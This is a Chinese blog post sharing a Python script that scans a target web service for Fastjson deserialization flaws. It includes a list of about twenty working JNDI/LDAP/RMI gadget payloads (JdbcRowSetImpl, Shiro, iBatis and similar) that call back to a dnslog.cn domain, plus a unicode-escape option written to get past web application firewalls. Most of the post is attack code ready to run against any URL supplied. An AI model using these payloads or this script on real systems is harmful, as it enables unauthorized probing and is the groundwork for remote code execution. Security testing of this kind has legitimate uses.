fastjson反序列化漏洞python检测脚本

为方便检测fastjson反序列化漏洞,造了个python版的轮子 网上也有burp版的扩展插件

脚本检测流程:

  1. fastjson漏洞检测脚本
  2. 收集目前已公开1.2.23 -> 1.2.66版本payload
  3. 使用dnslog.cn查询结果
  4. 两种payload检测规则:常规 / unicode编码过waf

示例图片:

1

2

代码块:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

fuck = '''
    1.fastjson漏洞检测脚本  
    2.收集目前已公开1.2.23 -> 1.2.66版本payload
    3.使用dnslog.cn查询结果
    4.两种payload检测规则:常规 / unicode编码过waf
    \r\n
'''

import os,time
import argparse
import requests
import random
import urllib3
try:
    from termcolor import colored, cprint
except:
    print('python3 -m pip install termcolor')
    os._exit(1)
    
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

timeout = 10
proxy = {'http':'http://127.0.0.1:8080/'}

def print_ok(info):
    return cprint(info, 'green', attrs=['bold'])
    
def print_warning(info):
    return cprint(info, 'yellow', attrs=['bold'])
    
def print_suc(info):
    return cprint(info, 'red', attrs=['bold'])
    
def print_except(info):
    return cprint(info, 'blue', attrs=['bold'])
    
def payloads(dnslog):
    list = []
    _payloads = [
        '{"@type":"java.net.Inet4Address","val":"%s.%s/Fastjson"}',
        '{"@type":"java.net.Inet6Address","val":"%s.%s/Fastjson"}',
        '{"@type":"java.net.InetSocketAddress"{"address":,"val":"%s.%s/Fastjson"}}',
        '{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"%s.%s/Fastjson"}}""}',
        '{{"@type":"java.net.URL","val":"%s.%s/Fastjson"}:"aaa"}',
        'Set[{"@type":"java.net.URL","val":"%s.%s/Fastjson"}]',
        'Set[{"@type":"java.net.URL","val":"%s.%s/Fastjson"}',
        '{{"@type":"java.net.URL","val":"%s.%s/Fastjson"}:0',
        '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://%s.%s/Fastjson", "autoCommit":true}',
        '{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://%s.%s/Fastjson", "autoCommit":true}',
        '{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://%s.%s/Fastjson","autoCommit":true]}',
        '{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://%s.%s/Fastjson", "autoCommit":true}',
        '{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://%s.%s/Fastjson","autoCommit":true]}',
        '{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://%s.%s/Fastjson","autoCommit":true]}',
        '{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://%s.%s/Fastjson"}}',
        '{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://%s.%s/Fastjson","autoCommit":true}}}',
        '{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://%s.%s/Fastjson"}',
        '{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://%s.%s/Fastjson"}";',
        '{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://%s.%s/Fastjson"}',
        '{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://%s.%s/Fastjson"}',
        '{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://%s.%s/Fastjson"}',
        '{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://%s.%s/Fastjson"}}',
    ]
    
    for _payload in _payloads:
        _randstr = randstr()
        list.append(_payload % (str(_randstr),str(dnslog)))
        
    #print(list)
    return list

def randstr():
    #随机7个字符组成新字符串
    _ranstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',7))  
    
    #print(_ranstr)
    return _ranstr
    
def get_dnslog_domain():
    print_ok('[+] Starting get dnslog domain and session ')
    header = {
        'Referer': 'http://www.dnslog.cn/',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36',
        'Connection': 'Keep-Alive',
    }
    try:
        req = requests.get('http://www.dnslog.cn/getdomain.php', headers=header, proxies=proxy)
        domain = req.text
        php_session = req.headers['Set-Cookie']
        print_ok('[+] Get dnslog session Success, Session: %s' % php_session)
        print_ok('[+] Get dnslog domain Success, Domain: %s' % domain)
        return php_session, domain
        
    except:
        print_warning('[!] Get dnslog domain error -----   requests error')
        return False

def fuck_Fastjson(target, payload):
    
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Content-Type': 'application/json; charset=UTF-8',
        'Referer': target,
    }
    data = payload
    req = requests.post(target, data=data, headers=header, timeout=timeout, 
        verify=False, allow_redirects=True, proxies=proxy)
        
def get_dnslog_info(session):
    header = {
        'Referer': 'http://www.dnslog.cn/',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36',
        'Cookie': session,
        'Connection': 'Keep-Alive',
    }
    try:
        req = requests.get('http://www.dnslog.cn/getrecords.php', headers=header, 
        timeout=timeout, proxies=proxy)
        dnslog_html = req.text
        return dnslog_html
        
    except:
        print_warning('[!] Get dnslog info error -----   requests error')
        return False

def main():
    #请求一个dnslog地址
    dnslog_domain = get_dnslog_domain()
    
    payload_list = []
    
    #dnslog分配的domain
    _session = dnslog_domain[0]
    
    #dnslog存储的session
    _domain = dnslog_domain[1]
    #print('')
    
    print_ok('[+] Begin send payload to target ')
    for payload in payloads(_domain):
        payload_list.append(str(payload))
        if not bypass:
            #print(payload)
            try:
                data = fuck_Fastjson(target, payload)
                
            except:
                print_warning('[!] %s -----   requests timeout, Maybe this is correct payload ' % payload)
                continue
        else:
            bp_payload = payload.replace('@type','\\x40\\x74\\x79pe')
            #print(bp_payload)
            try:
                data = fuck_Fastjson(target, bp_payload)
            
            except:
                print_warning('[!] %s -----   requests error' % bp_payload)
                continue
    
    #print(payload_list)
    print_ok('[+] End of sending payloads, wait 3s for the dnslog result ')
    time.sleep(3.0)
    verify_key = get_dnslog_info(_session)
    #print('')
    print_ok('[+] Get dnslog data info: %s \n' % verify_key)
    
    #print(str(verify_key)[3:10])
    for payload in payload_list:
        if str(str(verify_key)[3:10]) in str(payload):
            print_suc('[+] Find the evil payload: \n%s' % payload)
            os._exit(1)
    
if __name__ == '__main__':
    print_except(fuck)
    
    parser = argparse.ArgumentParser()

    parser.add_argument('-t', action="store", dest="target",
        default=None, help="Target IP or domain")

    parser.add_argument('-b', '--bypass', action='store_true', 
        dest="bypass", help="unicode Bypass the WAF")

    args = parser.parse_args()
    
    target = args.target
    bypass = args.bypass
    
    if not args.target:
        print_except('Error: Must specify the target with the \'-h\'')
        os._exit(1)
    
    if 'http' not in target:
        target = 'http://' + target
    
    main()

💫 评论卡